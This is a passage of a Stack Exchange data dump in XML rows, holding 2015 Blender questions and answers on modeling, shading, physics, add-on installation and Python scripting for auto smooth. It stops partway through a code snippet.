  <row Id="36215" PostTypeId="1" AcceptedAnswerId="36248" CreationDate="2015-08-22T19:12:30.153" Score="2" ViewCount="1472" Body="&lt;p&gt;I am modifying an Import OBJ script. I want it to make all objects smooth, with Auto Smooth turned on, and with an auto_smooth_angle of 30º. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My edit is as follows: after &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;for mesh in new_objects:&lt;/code&gt;&#xA;I have added &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.ops.object.shade_smooth()&lt;/code&gt; and it works as expected, but &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.context.object.data.use_auto_smooth=1&lt;/code&gt; fails me. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just do clarify: I want this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zScwK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zScwK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to become this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mBLlV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBLlV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16616" LastEditorUserId="16616" LastEditDate="2015-08-23T11:12:54.197" LastActivityDate="2015-08-23T13:07:20.183" Title="Apply Auto Smooth and its angles in a script" Tags="&lt;scripting&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36216" PostTypeId="1" AcceptedAnswerId="36218" CreationDate="2015-08-22T19:22:30.357" Score="2" ViewCount="484" Body="&lt;p&gt;How can I install the BoolTool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/BoolTool&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt; lead me to &lt;a href=&quot;https://github.com/vitorbalbio/code/tree/master/BoolTool&quot; rel=&quot;nofollow&quot;&gt;this Github site&lt;/a&gt; but don't tell me whether to use &quot;BoolTool 0.1.rar - BoolTool 0.2 release&quot; or &quot;BoolTool 0.2 rar - BoolTool 0.2&quot; (and those names are confusing). The instructions are also unclear in other ways. For example, &quot;5. Save in somewhere as &quot;BoolTool.py&quot; if it's not&quot;—does that mean manually change the extension to &quot;.py&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A step-by-step list with no assumption that I know Github or &quot;.rar&quot; or &quot;Raw&quot; or &quot;.zip&quot; or &quot;.py&quot; would be very helpful. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="15400" LastEditorUserId="15400" LastEditDate="2015-08-23T18:25:42.047" LastActivityDate="2015-08-23T18:44:40.190" Title="How to install BoolTool on a Mac?" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-23T19:11:16.677" ContentLicense="CC BY-SA 3.0" />
  <row Id="36217" PostTypeId="1" AcceptedAnswerId="36526" CreationDate="2015-08-22T19:39:43.307" Score="1" ViewCount="394" Body="&lt;p&gt;I was making a go kart game and I need an opponent. is it possible that I use a follow track but when I touch the car it will affect him?&lt;/p&gt;&#xA;" OwnerUserId="16618" LastEditorUserId="16618" LastEditDate="2015-08-22T21:44:47.233" LastActivityDate="2015-08-27T10:26:40.027" Title="Making a car game opponent" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36218" PostTypeId="2" ParentId="36216" CreationDate="2015-08-22T19:57:18.030" Score="2" Body="&lt;p&gt;Go to the main repository page, and click download zip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7lQPk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7lQPk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extract it on your computer, and navigate to the folder it creates, and then into the BoolTool folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extract the .rar file with the largest number (these are version numbers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside Blender, go the users preferences, and then to the Addons tab, and click install from file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/O4eAE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/O4eAE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Navigate to the booltool folder, and enter the folder that was created from the .rar. Then click on the .py, and click install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BoolTool Addon should now be installed. If you want to save it into your settings, so that it's always enabled, simply click Save User Settings button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uz3Dx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uz3Dx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extract a .rar on a Mac, you can use &lt;a href=&quot;http://www.unrarx.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UnrarX&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastEditorUserId="8262" LastEditDate="2015-08-23T18:44:40.190" LastActivityDate="2015-08-23T18:44:40.190" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36220" PostTypeId="1" AcceptedAnswerId="36223" CreationDate="2015-08-22T20:19:15.833" Score="1" ViewCount="366" Body="&lt;p&gt;Is it possible to move a bone from one armature using the movement of other bone in another armature?&lt;/p&gt;&#xA;" OwnerUserId="7615" LastActivityDate="2015-08-22T21:04:39.213" Title="Moving armature using as pivot a bone from other armature" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36221" PostTypeId="1" CreationDate="2015-08-22T20:31:11.747" Score="3" ViewCount="217" Body="&lt;p&gt;When I select the face and press &quot;assign material&quot;, the material isn't assigned to the face but somehow to parts of it and parts outside of it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I assign a material to this face?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K7tCc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K7tCc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16620" LastEditorUserId="1253" LastEditDate="2015-08-23T23:29:38.803" LastActivityDate="2015-08-24T00:08:30.933" Title="Cannot assign material to the correct face" Tags="&lt;materials&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36223" PostTypeId="2" ParentId="36220" CreationDate="2015-08-22T20:50:19.623" Score="1" Body="&lt;p&gt;This is very much possible and quite easy.&lt;/p&gt;&#xA;&lt;p&gt;Just add a &lt;strong&gt;Copy Location&lt;/strong&gt; or &lt;strong&gt;Copy Rotation&lt;/strong&gt; or &lt;strong&gt;Copy Scale&lt;/strong&gt; or &lt;strong&gt;Copy Transform&lt;/strong&gt; constraint (depends on how you want the bone to move) on the bone you want to be moved, you must be in pose mode for this. Go into the bone constraints tab or press &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;c&lt;/kbd&gt; with the bone selected and choose the constraint afterwards.&lt;/p&gt;&#xA;&lt;p&gt;In the Constraint settings choose the armature of the moving bone and the moving bone as target. Depending on where you want the moved bone to be, you should set the head/tail value of the constraint.&lt;/p&gt;&#xA;&lt;p&gt;Now you can move the moving bone and the moved bone will follow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/N1mwT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N1mwT.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Btw this might be a little bit misleading because I called the armatures bone. :)&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-22T21:04:39.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36226" PostTypeId="1" AcceptedAnswerId="36234" CreationDate="2015-08-22T21:49:16.443" Score="4" ViewCount="901" Body="&lt;p&gt;Uploaded an unlisted video of it on youtube, happens at &lt;a href=&quot;https://youtu.be/Kt5VM1nvLsI?t=5s&quot; rel=&quot;nofollow&quot;&gt;00:05&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you notice, the shadow of the blue shirted guy's head is blocky and very glitchy. I have no idea what caused this. Here are my render settings:&#xA;24fps&#xA;AAing turned on at 8, full sample&#xA;256x256 tile size&#xA;PNG, 90% compression&#xA;720p 100%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need someone to explain this. Thanks.&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastEditorUserId="12" LastEditDate="2015-08-23T16:42:55.803" LastActivityDate="2015-08-23T16:42:55.803" Title="Odd, glitchy shadows (Blender Internal)" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36227" PostTypeId="1" AcceptedAnswerId="36368" CreationDate="2015-08-22T21:52:38.343" Score="3" ViewCount="189" Body="&lt;p&gt;When I walk on an asphalt road on a summer day and I look below me ( where I set my feet ) the area around my feet appear to be lighter than the area a few meters away.  I think I notice the same with brick walls. They appear to be darker to me at grazing angles. &#xA;But all theory I can find and what I experience in blender is that when you increase the roughness of a material, and/or you play with Fresnel  the materials created in blender show a lighter color at grazing angles.  See also the youtube videos about physically based rendering from CynicatPro at &lt;a href=&quot;https://www.youtube.com/playlist?list=PLlH00768JwqFtFtsTKBxnLwadWsNo36R-&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/playlist?list=PLlH00768JwqFtFtsTKBxnLwadWsNo36R-&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started to think that glossy materials might appear lighter at grazing angles and rough materials darker, but I am sure my theory is far from correct.  I hope anyone can tell me more about it.  Is it maybe that the bumpiness caused self shadowing when it comes to materials like roads and walls, and so they appear to be darker at grazing angles ? &lt;/p&gt;&#xA;" OwnerUserId="16622" LastActivityDate="2015-08-25T13:48:37.387" Title="Do some materials appear to be darker at grazing angles ?" Tags="&lt;materials&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36228" PostTypeId="1" AcceptedAnswerId="36298" CreationDate="2015-08-22T22:12:13.733" Score="6" ViewCount="3165" Body="&lt;p&gt;&lt;strong&gt;Supose we have this scenario:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9JVv5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9JVv5.png&quot; alt=&quot;Vertices&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the &lt;strong&gt;&lt;em&gt;Connect vertices&lt;/em&gt;&lt;/strong&gt; action has no effect but the &lt;strong&gt;&lt;em&gt;Make Edge/Face&lt;/em&gt;&lt;/strong&gt; action does?&lt;/p&gt;&#xA;" OwnerUserId="16617" LastEditorUserId="12" LastEditDate="2015-08-23T01:08:40.920" LastActivityDate="2015-08-24T11:59:05.813" Title="Why doesn't Connect Vertices create an edge as opposed to Make Edge/Face?" Tags="&lt;vertices&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36229" PostTypeId="1" AcceptedAnswerId="36233" CreationDate="2015-08-22T22:12:15.347" Score="9" ViewCount="1060" Body="&lt;p&gt;Is this a pentagon or does it count as an square for animation purposes?&#xA;It technically has 5 angles, but one of them is flat, so practically it should be a square with 4 sides, but I'm not so sure.&#xA;It also is flat on the Z-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vPSue.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPSue.png&quot; alt=&quot;4 angles, 5 sides?&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd generally leave it like is but I'm trying to up my game. Thank you&lt;/p&gt;&#xA;" OwnerUserId="15054" LastEditorUserId="12" LastEditDate="2015-08-23T00:01:47.600" LastActivityDate="2015-08-23T05:18:06.480" Title="Does this flat 5 sided face count as a square?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36230" PostTypeId="2" ParentId="36229" CreationDate="2015-08-22T22:29:28.710" Score="2" Body="&lt;p&gt;It counts as a pentagon. I don't think you can change it either. Or you make it 2 squares by using cut (shortcut K in editmode) and just ad a cut from the extra vert to the center of the edge on the other side.&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-22T22:29:28.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36231" PostTypeId="1" CreationDate="2015-08-22T22:51:56.267" Score="1" ViewCount="64" Body="&lt;p&gt;Is it possible to have a particle hair system that has multiple different settings combinations in it? For example, have different settings for hair thickness, or child shape and clump?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you have multiple particle hair systems with different settings, can you get their dynamics to interact together as if they were the same system?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-22T22:51:56.267" Title="Vary particle hair settings within same system?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36232" PostTypeId="1" AcceptedAnswerId="36601" CreationDate="2015-08-22T22:53:31.347" Score="14" ViewCount="1586" Body="&lt;p&gt;Is there any way to hook, parent, or constraint something to a vertex of a particle hair strand? Such as a hair accessory dangling from a braid that needs to move with the hair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Converting the hair to mesh isn't viable, as I then lose hair dynamics and have to rig some other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scripting solutions are fine too. There must be some way to get the location of a particle hair vertex or vertices from the API. Then you could have an empty copy it or something?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastEditorUserId="13324" LastEditDate="2015-08-23T22:14:17.247" LastActivityDate="2015-08-29T01:18:07.240" Title="Hook/parent/constrain to particle hair?" Tags="&lt;rigging&gt;&lt;particles&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36233" PostTypeId="2" ParentId="36229" CreationDate="2015-08-22T23:56:48.000" Score="11" Body="&lt;p&gt;It is a pentagon or the more common general term in 3d, a &lt;em&gt;n-gon&lt;/em&gt;. You probably want to avoid these for anything realtime such as games or animations since they do not deform or smooth well, make adding more detail cumbersome and games are more optimal with triangulated meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a simple flat object, it's fine if you are done with the model but again as a rule of thumb, try to stick with quads and tris.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve, you can either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the join tool (select both vertices and press &lt;kbd&gt;J&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Use the knife tool (&lt;kbd&gt;K&lt;/kbd&gt;, select a star point and drag to cut, use &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm) to create a tri from the extra vertex or create quads by continuing the edge flow downwards.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5NWZ8m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5NWZ8m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gZyKCm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gZyKCm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2015-08-23T05:18:06.480" LastActivityDate="2015-08-23T05:18:06.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36234" PostTypeId="2" ParentId="36226" CreationDate="2015-08-23T00:16:07.857" Score="5" Body="&lt;p&gt;The blocky shadows are either caused by a low resolution shadow buffer &lt;em&gt;&lt;strong&gt;or&lt;/strong&gt;&lt;/em&gt; your object doesn't have enough geometry for the shadow to disperse and appear smooth.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YtXRI.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YtXRI.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Go to the lamp and under &lt;em&gt;Shadow&lt;/em&gt;, increase the size value of the lamp. While you are there, try tweaking the other setting as well to get even better results (hover over the tooltips to see what they do). If not, try subdividing the model a bit, notice the shadow the heads casts on the flat chair shape behind is smooth.&lt;/p&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Size: 128&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TS8qy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TS8qy.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;&lt;strong&gt;Size: 1024&lt;/strong&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8K0TF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8K0TF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-08-23T00:21:16.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36235" PostTypeId="1" AcceptedAnswerId="36236" CreationDate="2015-08-23T00:43:20.937" Score="5" ViewCount="1699" Body="&lt;p&gt;I was following a tutorial for making a realistic chain where you use Rigid Body Physics to make a chain fall on a plane. I'm trying to use this technique in one of projects, but I can't get it to work. I tried doing the tutorial in a new project and it still didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using torus objects and duplicating them to make a chain. I select all of the objects and go to the &quot;Physics&quot; tab in the Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt; menu) and press &quot;Add Active&quot;. I then go to the &quot;Change Shape&quot; drop down and choose &quot;Mesh&quot;. When I play this it takes forever to simulate, and about 4 frames in, the links in the chain start to separate as they fall. I want them to stay together (which works fine when I do this in a new project using only the chain mesh).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RNnrg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RNnrg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="16367" LastEditorUserId="8262" LastEditDate="2015-08-23T19:16:59.617" LastActivityDate="2015-08-23T19:16:59.617" Title="Why do my chains separate when falling when I use physics with them?" Tags="&lt;modeling&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36236" PostTypeId="2" ParentId="36235" CreationDate="2015-08-23T00:52:03.853" Score="5" Body="&lt;p&gt;Try making your chain links dramatically bigger. Blender has a problem with small objects with rigid body physics. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="16397" LastEditorUserId="241" LastEditDate="2015-08-23T14:31:26.057" LastActivityDate="2015-08-23T14:31:26.057" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="36237" PostTypeId="1" CreationDate="2015-08-23T01:44:01.060" Score="2" ViewCount="177" Body="&lt;p&gt;I am trying to edit models for a game. Specifically hair. In 3ds MAX, there is a special window that allows you to export the file with deformations, considering in this game, hair has physics:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RhEaq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RhEaq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like 3ds max for modeling, however, I like blender for texture mapping. It seems when I edit the model in Blender after I edit it in 3ds MAX, in game, it is stiff as in it isn't flowing or having any flow to it at all. Even though 3ds max has this feature, it makes the hair very glitchy in the game. Is there a way for blender to export FBX files, with the support for deformation, for the hair to have physics in game? Thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="16624" LastActivityDate="2015-10-23T06:37:27.383" Title="FBX with Weight or Deformation support?" Tags="&lt;modeling&gt;&lt;game-engine&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36239" PostTypeId="1" CreationDate="2015-08-23T04:30:08.113" Score="4" ViewCount="16186" Body="&lt;p&gt;There is supposed to be a timeline, but when I made my first keyframe, the keyframe timeline didn't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make timeline appear?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z5eTJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z5eTJ.jpg&quot; alt=&quot;screenshot of lack of timeline&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16627" LastEditorDisplayName="user1853" LastEditDate="2015-08-23T17:09:26.320" LastActivityDate="2018-12-31T09:11:05.370" Title="how to open a timeline window" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36240" PostTypeId="2" ParentId="36239" CreationDate="2015-08-23T05:11:28.523" Score="9" Body="&lt;p&gt;Pull upward on the hatched corner to create a new area: &lt;a href=&quot;https://i.stack.imgur.com/N7KvJ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7KvJ.png&quot; alt=&quot;pulling up from corner&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, click on the editor type selector and choose &lt;em&gt;Timeline&lt;/em&gt;:&lt;a href=&quot;https://i.stack.imgur.com/fx9b9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fx9b9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now have a timeline in the new area.&lt;/p&gt;&#xA;" OwnerUserId="1253" LastActivityDate="2015-08-23T05:11:28.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36241" PostTypeId="1" CreationDate="2015-08-23T06:39:36.220" Score="1" ViewCount="1244" Body="&lt;p&gt;i created the hair of the character using blender render, and then use cycles render to color the hair, but the hair color isn't changing whatever i do. but in the tutorials that i've watched, which i followed exactly, the hair of their character is changing. what do i need to do? is there an easier way to color the hair using blender render and not cycles render? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8IJ4t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8IJ4t.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16631" LastEditorUserId="16631" LastEditDate="2015-08-30T05:55:19.203" LastActivityDate="2015-08-30T05:55:19.203" Title="hair color isn't changing and stays white" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36244" PostTypeId="1" CreationDate="2015-08-23T08:29:17.980" Score="0" ViewCount="586" Body="&lt;p&gt;I have a series of images I want to project on to a mesh as a &quot;movie&quot; using a script. There is distortion that I need to compensate. I can provide a list of pixel coordinates that map to some vertices, or all vertices, or even write a transforming function if necessary (&lt;a href=&quot;https://eserv.asprs.org/PERS/1966journal/may/1966_may_444-462.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;random slightly related link&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This list or transform is dynamic and would be calculated per animation frame. If I use a list of pixel coordinates to map to vertices, can blender shape the image smoothly in between these pinning points?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh changes shape, so I need to do this algorithmically. I can not just pre-process the images offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I set this script up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Illustration:&lt;/strong&gt; Cartoonish representation of a distorted mathematical grid in the pixel space of each image to be mathematically mapped to vertices of a mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/92XUJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/92XUJ.png&quot; alt=&quot;face grid&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/sxBDQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sxBDQ.png&quot; alt=&quot;mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-08-23T11:14:46.383" LastActivityDate="2015-08-23T11:14:46.383" Title="uv mapping moving images on a mesh with dynamic distortion correction in python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36245" PostTypeId="2" ParentId="36237" CreationDate="2015-08-23T10:14:34.550" Score="1" Body="&lt;p&gt;The only animated mesh deformations Blender can export to FBX are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Armature-driven ones.&lt;/li&gt;&#xA;&lt;li&gt;Relative shape keys.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you can bake your physics into shapekeys, or use a 'fake-physics' armature, it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: don’t know Max, but I would bet their “deformations” are similar to Blender’s “shape keys”?&lt;/p&gt;&#xA;" OwnerUserId="2607" LastEditorUserId="2607" LastEditDate="2015-10-23T06:37:27.383" LastActivityDate="2015-10-23T06:37:27.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36246" PostTypeId="1" CreationDate="2015-08-23T11:23:28.247" Score="1" ViewCount="534" Body="&lt;p&gt;Im following a video series by Darrin Lile (Texture painting part 1) my mesh doesnt turn black when I change to blender render, change from data to object, assign a new material, and switch the texture painting. Any ideas?&#xA;Thanks in advance!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VrtPT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VrtPT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16611" LastActivityDate="2015-12-21T22:56:46.657" Title="UV texturing mesh object won't turn black in texture painting mode" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36248" PostTypeId="2" ParentId="36215" CreationDate="2015-08-23T11:41:06.243" Score="2" Body="&lt;p&gt;Maybe use something like this which first selects all the objects that you have listed in 'new_objects', and sets autosmooth to 1 on them, then once they're all selected it sets smooth shading on all of them&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;for obj in bpy.data.objects:&#xA;    obj.select = False  # safe to un-select first, all objects.&#xA;&#xA;    ''' if you have a 'new_objects' list , then skip objects not on the list: '''&#xA;    # if not (obj in new_objects): continue&#xA;&#xA;    if obj.type == 'MESH':&#xA;        obj.select = True &#xA;        obj.data.use_auto_smooth = 1&#xA;        obj.data.auto_smooth_angle = math.pi/4  # 45 degrees&#xA;        # ob.data.auto_smooth_angle = math.radians(40)  # 40 degrees as 